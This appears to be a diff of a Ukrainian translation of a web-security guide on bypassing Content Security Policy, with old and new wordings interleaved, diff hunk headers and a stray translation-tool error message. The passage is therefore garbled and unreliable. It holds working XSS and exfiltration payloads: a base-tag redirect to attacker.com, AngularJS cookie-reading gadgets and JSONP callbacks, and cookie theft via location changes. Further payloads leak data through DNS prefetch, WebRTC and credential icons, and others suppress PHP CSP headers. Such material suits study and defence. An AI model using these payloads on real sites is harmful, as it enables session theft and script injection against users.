Крім того, якщо **сторінка завантажує скрипт за відносним шляхом** (наприклад `<script src="/js/app.js">`) з використанням **Nonce**, ви можете зловживати **base** **tag**, щоб змусити його **load** скрипт з **your own server achieving a XSS.**\
Якщо вразлива сторінка завантажується по **httpS**, використайте httpS url у base.
```html
<base href="https://www.attacker.com/" />
```
### AngularJS події
### Події AngularJS
Специфічна політика, відома як Content Security Policy (CSP), може обмежувати JavaScript події. Проте, AngularJS вводить користувацькі події як альтернативу. У межах події AngularJS надає унікальний об'єкт `$event`, що посилається на об'єкт події браузера. Цей об'єкт `$event` може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт `$event/event` має атрибут `path`, що містить масив об'єктів, залучених у ланцюг виконання події, причому об'єкт `window` завжди розташований в кінці. Ця структура є ключовою для тактик втечі з пісочниці.
Специфічна політика, відома як Політика безпеки вмісту (Content Security Policy, CSP), може обмежувати JavaScript-події. Однак AngularJS вводить власні події як альтернативу. У межах події AngularJS надає спеціальний об'єкт `$event`, який посилається на нативний об'єкт події браузера. Цей об'єкт `$event` може бути використаний для обходу CSP. Зокрема, у Chrome об'єкт `$event/event` має властивість `path`, що містить масив об'єктів, задіяних у ланцюжку виконання події, при цьому об'єкт `window` завжди знаходиться в кінці. Ця структура критично важлива для sandbox escape.
Спрямовуючи цей масив до фільтра `orderBy`, можна ітерувати його, використовуючи термінальний елемент (об'єкт `window`), щоб викликати глобальну функцію, таку як `alert()`. Наведений нижче фрагмент коду ілюструє цей процес:
Якщо передати цей масив у фільтр `orderBy`, можна ітеруватися по ньому, використовуючи останній елемент (об'єкт `window`) для виклику глобальної функції, наприклад `alert()`. Нижче наведено приклад коду, що ілюструє цей процес:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Цей фрагмент підкреслює використання директиви `ng-focus` для виклику події, використовуючи `$event.path|orderBy` для маніпуляції масивом `path`, і використовуючи об'єкт `window` для виконання функції `alert()`, таким чином розкриваючи `document.cookie`.
Цей фрагмент демонструє використання директиви `ng-focus` для ініціювання події, застосовуючи `$event.path|orderBy` для маніпуляції масивом `path`, та використовуючи об'єкт `window` для виконання функції `alert()`, що дозволяє отримати `document.cookie`.
**Знайдіть інші обходи Angular у** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
**Знайдіть інші Angular bypasses на** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS та домен у білому списку
### AngularJS і домен у білому списку
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Політика CSP, яка дозволяє завантаження скриптів з певних доменів в Angular JS додатку, може бути обійдена через виклик функцій зворотного виклику та певних вразливих класів. Додаткову інформацію про цю техніку можна знайти в детальному посібнику, доступному в цьому [git репозиторії](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Політика CSP, яка whitelists domains для script loading в Angular JS application, може бути обійдена через виклик callback functions та певних vulnerable classes. Більш детальну інформацію про цю техніку можна знайти у вичерпному керівництві на цьому [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Працюючі пейлоади:
Working payloads:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@ -399,13 +399,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Інші кінцеві точки для довільного виконання JSONP можна знайти [**тут**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (деякі з них були видалені або виправлені)
Інші кінцеві точки JSONP для довільного виконання можна знайти [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (деякі з них були видалені або виправлені)
### Обхід через редирект
### Обхід через перенаправлення
Що відбувається, коли CSP стикається з редиректом на стороні сервера? Якщо редирект веде до іншого походження, яке не дозволено, він все ще зазнає невдачі.
Що відбувається, коли CSP натрапляє на серверне перенаправлення? Якщо перенаправлення веде на інший origin, який не дозволений, воно все одно зазнає невдачі.
Однак, відповідно до опису в [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), якщо редирект веде до іншого шляху, він може обійти початкові обмеження.
Однак, згідно з описом у [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), якщо перенаправлення веде на інший path, воно може обійти початкові обмеження.
Ось приклад:
```html
@ -425,68 +425,69 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
Якщо CSP встановлено на `https://www.google.com/a/b/c/d`, оскільки враховується шлях, скрипти `/test` та `/a/test` будуть заблоковані CSP.
Якщо CSP встановлено на `https://www.google.com/a/b/c/d`, оскільки враховується шлях, обидва скрипти `/test` та `/a/test` будуть заблоковані CSP.
Однак фінальний `http://localhost:5555/301` буде **перенаправлений на стороні сервера на `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Оскільки це перенаправлення, **шлях не враховується**, і **скрипт може бути завантажений**, таким чином обходячи обмеження шляху.
Однак кінцевий `http://localhost:5555/301` буде **перенаправлено на стороні сервера на `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Оскільки це редирект, **шлях не враховується**, і **скрипт може бути завантажений**, таким чином обходячи обмеження шляху.
З цим перенаправленням, навіть якщо шлях вказано повністю, він все ще буде обійдено.
При такому перенаправленні, навіть якщо шлях вказано повністю, його все одно буде обійдено.
Отже, найкраще рішення - це забезпечити, щоб веб-сайт не мав жодних вразливостей до відкритого перенаправлення і щоб не було доменів, які можна експлуатувати в правилах CSP.
Тому найкраще рішення — переконатися, що на сайті немає вразливостей типу open redirect і що в правилах CSP немає доменів, які можна експлуатувати.
### Обхід CSP з висячим розміткою
### Обійти CSP за допомогою dangling markup
Читати [як тут](../dangling-markup-html-scriptless-injection/index.html).
Детальніше читайте [тут](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; через XSS
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` означає, що ви можете виконувати будь-який скрипт всередині коду (XSS може виконувати код), а `img-src *` означає, що ви можете використовувати на веб-сторінці будь-яке зображення з будь-якого ресурсу.
`'unsafe-inline'` означає, що ви можете виконувати будь-який скрипт у коді (XSS може виконувати код), а `img-src *` означає, що на сторінці можна використовувати будь-яке зображення з будь-якого ресурсу.
Ви можете обійти цей CSP, ексфільтруючи дані через зображення (в даному випадку XSS зловживає CSRF, де сторінка, доступна ботом, містить SQLi, і витягує прапор через зображення):
Ви можете обійти цей CSP шляхом ексфільтрації даних через зображення (у цьому випадку XSS зловживає CSRF, де сторінка, доступна боту, містить SQLi, і витягує flag через зображення):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
Image().src='http://PLAYER_SERVER/?'+_)
</script>
```
З: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Джерело: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Ви також можете зловживати цією конфігурацією, щоб **завантажити javascript код, вставлений всередині зображення**. Якщо, наприклад, сторінка дозволяє завантаження зображень з Twitter. Ви могли б **створити** **спеціальне зображення**, **завантажити** його в Twitter і зловживати "**unsafe-inline**", щоб **виконати** JS код (як звичайний XSS), який **завантажить** **зображення**, **витягне** **JS** з нього і **виконає** **його**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Ви також можете зловживати цією конфігурацією, щоб **завантажити javascript-код, вставлений всередину зображення**. Якщо, наприклад, сторінка дозволяє завантажувати зображення з Twitter. Ви можете **створити** **спеціальне зображення**, **завантажити** його в Twitter і зловживати «**unsafe-inline**», щоб **виконати** JS-код (як звичайний XSS), який **завантажить** зображення, **витягне** з нього JS і **виконає** його: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### З сервісними працівниками
### За допомогою Service Workers
Функція **`importScripts`** у Service workers не обмежується CSP:
Функція **`importScripts`** сервісних працівників не обмежена CSP:
{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
{{#endref}}
### Впровадження політики
### Policy Injection
**Дослідження:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### Chrome
Якщо **параметр**, надісланий вами, **вставляється всередині** **оголошення** **політики**, то ви могли б **змінити** **політику** таким чином, що вона стане **недійсною**. Ви могли б **дозволити скрипт 'unsafe-inline'** з будь-яким з цих обходів:
Якщо **параметр**, надісланий вами, **вставляється всередину** **оголошення** **політики**, то ви можете **змінити** **політику** таким чином, що вона стане **марною**. Ви можете **дозволити script 'unsafe-inline'** за допомогою будь-якого з цих обхідних шляхів:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Оскільки ця директива **перезаписує існуючі директиви script-src**.\
Ви можете знайти приклад тут: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
Тому що ця директива **перезапише існуючі директиви script-src**.\
Приклад можна знайти тут: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
У Edge це набагато простіше. Якщо ви можете додати в CSP лише це: **`;_`** **Edge** **відкине** всю **політику**.\
Приклад: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
В Edge це набагато простіше. Якщо ви можете додати в CSP просто це: **`;_`** **Edge** **видалить** всю **політику**.\
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; через XSS (iframe) - Атака за часом
### img-src \*; via XSS (iframe) - Time attack
Зверніть увагу на відсутність директиви `'unsafe-inline'`\
Цього разу ви можете змусити жертву **завантажити** сторінку під **вашим контролем** через **XSS** з `<iframe`. Цього разу ви змусите жертву отримати доступ до сторінки, з якої ви хочете витягти інформацію (**CSRF**). Ви не можете отримати доступ до вмісту сторінки, але якщо якимось чином ви зможете **контролювати час, необхідний для завантаження сторінки**, ви зможете витягти потрібну інформацію.
Цього разу ви можете змусити жертву **завантажити** сторінку під **вашим контролем** через **XSS** з використанням `<iframe`. Цього разу ви змусите жертву звернутися до сторінки, звідки ви хочете витягти інформацію (**CSRF**). Ви не можете отримати доступ до вмісту сторінки, але якщо якимось чином ви зможете **контролювати час завантаження сторінки**, то зможете витягти потрібну інформацію.
Цього разу **прапор** буде витягнуто, коли **символ буде правильно вгадано** через SQLi, **відповідь** займе **більше часу** через функцію сну. Тоді ви зможете витягти прапор:
Цього разу буде витягнуто **flag**: коли **char правильно вгадується** через SQLi, **відповідь** займає **більше часу** через функцію sleep. Тоді ви зможете витягти flag:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -546,24 +547,24 @@ console.log(prefix)
run()
</script>
```
### Via Bookmarklets
### Через Bookmarklets
Цей напад передбачає певну соціальну інженерію, де атакуючий **переконує користувача перетягнути та скинути посилання на закладку браузера**. Ця закладка міститиме **шкідливий javascript** код, який, коли його перетягнуть або натиснуть, буде виконано в контексті поточного веб-вікна, **обминаючи CSP і дозволяючи вкрасти чутливу інформацію** таку як куки або токени.
Ця атака передбачає соціальну інженерію, коли нападник **переконує користувача перетягнути посилання на bookmarklet у браузері**. Цей bookmarklet міститиме **шкідливий javascript** код, який при перетягуванні або натисканні виконається в контексті поточного вікна веб-переглядача, **обминаючи CSP і дозволяючи викрасти конфіденційну інформацію** таку як cookies або tokens.
Для отримання додаткової інформації [**перевірте оригінальний звіт тут**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass by restricting CSP
### CSP bypass шляхом обмеження CSP
У [**цьому CTF звіті**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) CSP обминається шляхом інжекції всередину дозволеного iframe більш обмежувального CSP, який забороняє завантаження конкретного JS файлу, який, в свою чергу, через **прототипне забруднення** або **dom clobbering** дозволяє **зловживати іншим скриптом для завантаження довільного скрипту**.
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**.
Ви можете **обмежити CSP iframe** за допомогою атрибута **`csp`**:
Ви можете **обмежити CSP у Iframe** за допомогою атрибуту **`csp`**:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
У [**цьому CTF звіті**](https://github.com/aszx87410/ctf-writeups/issues/48) було можливим через **впровадження HTML** **обмежити** **CSP**, так що скрипт, що запобігає CSTI, був вимкнений, і, отже, **вразливість стала експлуатованою.**\
CSP можна зробити більш обмежувальним, використовуючи **HTML мета-теги**, а вбудовані скрипти можна вимкнути **видаленням** **входу**, що дозволяє їх **nonce** та **включити конкретний вбудований скрипт через sha**:
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), за допомогою **HTML injection** було можливим ще більше **обмежити** **CSP**, через що скрипт, що запобігає CSTI, був відключений і тому **vulnerability became exploitable.**\
**CSP** можна зробити більш суворим за допомогою **HTML meta tags**, а inline scripts можна відключити, **видаливши** відповідний **запис**, що дозволяє їх **nonce**, і **enable specific inline script via sha**:
```html
<meta
http-equiv="Content-Security-Policy"
@ -572,51 +573,69 @@ content="script-src 'self'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
```
### JS ексфільтрація з Content-Security-Policy-Report-Only
### JS exfiltration with Content-Security-Policy-Report-Only
Якщо вам вдасться змусити сервер відповісти заголовком **`Content-Security-Policy-Report-Only`** з **значенням, контрольованим вами** (можливо, через CRLF), ви зможете вказати на свій сервер, і якщо ви **обертаєте** **JS контент**, який хочете ексфільтрувати, в **`<script>`**, і оскільки ймовірно `unsafe-inline` не дозволено CSP, це **викличе помилку CSP** і частина скрипту (що містить чутливу інформацію) буде надіслана на сервер з `Content-Security-Policy-Report-Only`.
Якщо вам вдасться змусити сервер відповісти заголовком **`Content-Security-Policy-Report-Only`** зі **значенням, яке контролюєте ви** (можливо через CRLF), ви можете вказати його на ваш сервер, і якщо ви **обгорнете** **JS content**, який хочете ексфільтрувати, тегом **`<script>`**, і оскільки дуже ймовірно, що `unsafe-inline` не дозволений CSP, це **спровокує помилку CSP**, і частина скрипта (що містить чутливу інформацію) буде відправлена на сервер через `Content-Security-Policy-Report-Only`.
Для прикладу [**перевірте цей CTF звіт**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### Витік інформації з CSP та Iframe
### Leaking інформації з CSP та iframe
- Створюється `iframe`, який вказує на URL (назвемо його `https://example.redirect.com`), що дозволений CSP.
- Створюється `iframe`, що вказує на URL (назвемо його `https://example.redirect.com`), який дозволений CSP.
- Цей URL потім перенаправляє на секретний URL (наприклад, `https://usersecret.example2.com`), який **не дозволений** CSP.
- Слухаючи подію `securitypolicyviolation`, можна захопити властивість `blockedURI`. Ця властивість розкриває домен заблокованого URI, витікаючи секретний домен, на який перенаправив початковий URL.
- Прослуховуючи подію `securitypolicyviolation`, можна отримати властивість `blockedURI`. Ця властивість розкриває домен заблокованого URI, що призводить до leak секретного домену, на який перенаправляв початковий URL.
Цікаво відзначити, що браузери, такі як Chrome та Firefox, мають різну поведінку в обробці iframe стосовно CSP, що може призвести до потенційного витоку чутливої інформації через невизначену поведінку.
Цікавий момент: браузери, як Chrome і Firefox, поводяться по-різному при обробці iframe щодо CSP, що може призвести до потенційного leak чутливої інформації через невизначену поведінку.
Інша техніка полягає в експлуатації самого CSP для виведення секретного піддомену. Цей метод базується на алгоритмі бінарного пошуку та коригуванні CSP для включення конкретних доменів, які навмисно заблоковані. Наприклад, якщо секретний піддомен складається з невідомих символів, ви можете ітеративно тестувати різні піддомени, змінюючи директиву CSP, щоб блокувати або дозволяти ці піддомени. Ось фрагмент, що показує, як CSP може бути налаштований для полегшення цього методу:
Інша техніка полягає в експлуатації самого CSP, щоб вивести секретний subdomain. Цей метод базується на binary search algorithm і на налаштуванні CSP для включення певних доменів, які навмисно блокуються. Наприклад, якщо секретний subdomain складається з невідомих символів, ви можете ітеративно тестувати різні subdomains, змінюючи CSP directive щоб блокувати або дозволяти ці subdomains. Ось фрагмент, що показує, як CSP може бути налаштований для полегшення цього методу:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Моніторинг запитів, які блокуються або дозволяються CSP, дозволяє звузити можливі символи в секретному піддомені, врешті-решт виявивши повний URL.
Спостерігаючи, які запити блокуються або дозволяються CSP, можна звузити множину можливих символів у секретному піддомені і зрештою виявити повний URL.
Обидва методи використовують нюанси реалізації та поведінки CSP у браузерах, демонструючи, як, здавалося б, безпечні політики можуть ненавмисно витікати чутливу інформацію.
Обидва методи експлуатують нюанси реалізації CSP та поведінки в браузерах, показуючи, як на вигляд безпечні політики можуть ненавмисно leak конфіденційної інформації.
Трюк з [**тут**](https://ctftime.org/writeup/29310).
Trick from [**here**](https://ctftime.org/writeup/29310).
## Небезпечні технології для обходу CSP
### PHP помилки при надмірній кількості параметрів
### PHP-помилки при занадто великій кількості параметрів
Згідно з [**останнім методом, прокоментованим у цьому відео**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), надсилання занадто багатьох параметрів (1001 GET параметр, хоча це також можна зробити з POST параметрами та більше ніж 20 файлами). Будь-який визначений **`header()`** у PHP веб-коді **не буде надіслано** через помилку, яку це викличе.
Згідно з [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), відправка надто великої кількості параметрів (1001 GET parameters хоча це також можна зробити з POST params і більше ніж 20 файлів). Будь-який визначений **`header()`** в PHP web-коді **не буде надісланий** через помилку, яку це спричинить.
### Переповнення буфера відповіді PHP
### PHP response buffer overload
PHP відомий тим, що **буферизує відповідь до 4096** байт за замовчуванням. Тому, якщо PHP показує попередження, надаючи **достатньо даних у попередженнях**, **відповідь** буде **надіслана** **перед** **CSP заголовком**, що призведе до ігнорування заголовка.\
Отже, техніка полягає в основному в **заповненні буфера відповіді попередженнями**, щоб CSP заголовок не був надісланий.
Відомо, що PHP за замовчуванням **буферизує відповідь до 4096** байт. Тому, якщо PHP показує warning, надавши **достатньо даних у warning'ах**, **response** буде **відправлено** **перед** **CSP header**, що спричинить ігнорування заголовка.\
Отже, техніка по суті полягає у **заповненні буфера відповіді warning'ами**, щоб CSP header не був надісланий.
Ідея з [**цього звіту**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### Переписати сторінку помилки
### Kill CSP via max_input_vars (headers already sent)
З [**цього звіту**](https://blog.ssrf.kr/69) виглядає так, що було можливо обійти захист CSP, завантаживши сторінку помилки (можливо, без CSP) і переписавши її вміст.
Оскільки заголовки повинні бути надіслані перед будь-яким виводом, warning'и, які видає PHP, можуть зробити недійсними подальші виклики `header()`. Якщо введення користувача перевищує `max_input_vars`, PHP спочатку викидає startup warning; будь-який наступний `header('Content-Security-Policy: ...')` завершиться помилкою “headers already sent”, фактично відключаючи CSP і дозволяючи інакше заблокований reflective XSS.
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
Ви не надали вміст файлу для перекладу. Будь ласка, вставте вміст README.md (або вкажіть текст), який потрібно перекласти на українську.
```bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
```
### Перезапис сторінки помилки
Згідно з [**this writeup**](https://blog.ssrf.kr/69), схоже, було можливо обійти захист CSP, завантаживши сторінку помилки (ймовірно без CSP) й перезаписавши її вміст.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -625,40 +644,41 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME - це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в кінцевій точці сторінки**, щоб **зловживати** **іншими кінцевими точками того ж походження.** Це робиться шляхом завантаження вразливої кінцевої точки з сторінки атакуючого, а потім оновлення сторінки атакуючого до реальної кінцевої точки в тому ж походженні, яку ви хочете зловживати. Таким чином, **вразлива кінцева точка** може використовувати об'єкт **`opener`** у **payload**, щоб **отримати доступ до DOM** реальної кінцевої точки, яку потрібно зловживати. Для отримання додаткової інформації перегляньте:
SOME — це техніка, яка зловживає XSS (або дуже обмеженим XSS) **in an endpoint of a page** для **abuse** **other endpoints of the same origin.** Це робиться шляхом завантаження уразливого endpoint з attacker page, а потім перезавантаження attacker page на реальний endpoint в тому ж origin, який ви хочете зловживати. Таким чином **vulnerable endpoint** може використовувати об'єкт **`opener`** у **payload**, щоб **access the DOM** реального endpoint для зловживання. Для детальнішої інформації дивись:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
Більше того, **wordpress** має **JSONP** кінцеву точку в `/wp-json/wp/v2/users/1?_jsonp=data`, яка **відображає** **дані**, надіслані в вихідних даних (з обмеженням лише на літери, цифри та крапки).
Крім того, **wordpress** має **JSONP** endpoint у `/wp-json/wp/v2/users/1?_jsonp=data`, який буде **reflect** **data**, надіслані у вихід (з обмеженням лише літер, цифр та крапок).
Атакуючий може зловживати цією кінцевою точкою, щоб **згенерувати атаку SOME** проти WordPress і **вбудувати** її всередину `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`, зверніть увагу, що цей **скрипт** буде **завантажено**, оскільки він **дозволений 'self'**. Більше того, і оскільки WordPress встановлено, атакуючий може зловживати **атакою SOME** через **вразливу** **кінцеву точку зворотного виклику**, яка **обходить CSP**, щоб надати більше привілеїв користувачу, встановити новий плагін...\
Для отримання додаткової інформації про те, як виконати цю атаку, перегляньте [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
An attacker can abuse that endpoint to **generate a SOME attack** against WordPress and **embed** it inside `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\
For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
Якщо існує суворий CSP, який не дозволяє вам **взаємодіяти з зовнішніми серверами**, є кілька речей, які ви завжди можете зробити, щоб ексфільтрувати інформацію.
Якщо є сувора CSP, яка не дозволяє вам **interact with external servers**, є деякі речі, які ви завжди можете зробити, щоб exfiltrate інформацію.
### Location
Ви можете просто оновити місцезнаходження, щоб надіслати на сервер атакуючого секретну інформацію:
Ви можете просто оновити location, щоб відправити на attacker's server секретну інформацію:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### Meta tag
Ви можете перенаправити, вставивши мета-тег (це просто перенаправлення, це не призведе до витоку контенту)
Ви можете перенаправити, вставивши meta tag (це лише перенаправлення, воно не призведе до leak вмісту)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch
Щоб завантажувати сторінки швидше, браузери будуть попередньо розв'язувати імена хостів в IP-адреси та кешувати їх для подальшого використання.\
Щоб завантажувати сторінки швидше, браузери попередньо розв'язують імена хостів у IP-адреси та кешують їх для подальшого використання.\
Ви можете вказати браузеру попередньо розв'язати ім'я хоста за допомогою: `<link rel="dns-prefetch" href="something.com">`
Ви можете зловживати цією поведінкою, щоб **експортувати чутливу інформацію через DNS-запити**:
Ви можете зловживати цією поведінкою, щоб **exfiltrate sensitive information via DNS requests**:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
@ -675,18 +695,18 @@ linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
Щоб уникнути цього, сервер може надіслати заголовок HTTP:
Щоб уникнути цього, сервер може надіслати HTTP-заголовок:
```
X-DNS-Prefetch-Control: off
```
> [!TIP]
> Здається, ця техніка не працює в безголових браузерах (ботах)
> Схоже, ця техніка не працює в headless browsers (bots)
### WebRTC
На кількох сторінках ви можете прочитати, що **WebRTC не перевіряє політику `connect-src`** CSP.
На кількох сторінках можна прочитати, що **WebRTC не перевіряє політику `connect-src` у CSP**.
Насправді ви можете _leak_ інформацію, використовуючи _DNS запит_. Ознайомтеся з цим кодом:
Насправді ви можете _leak_ інформацію, використовуючи _DNS request_. Перегляньте цей код:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -708,7 +728,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
Вікно облікових даних надсилає DNS-запит до iconURL без обмежень з боку сторінки. Воно працює лише в безпечному контексті (HTTPS) або на localhost.
The credential popup надсилає DNS-запит до iconURL без обмежень з боку сторінки. Працює лише в безпечному контексті (HTTPS) або на localhost.
```javascript
navigator.credentials.store(
new FederatedCredential({
@ -719,16 +739,16 @@ iconURL:"https:"+your_data+"example.com"
})
)
```
## Перевірка CSP політик онлайн
## Перевірка політик CSP онлайн
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## Автоматичне створення CSP
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
## Посилання
## Джерела
- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
@ -738,6 +758,7 @@ iconURL:"https:"+your_data+"example.com"
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
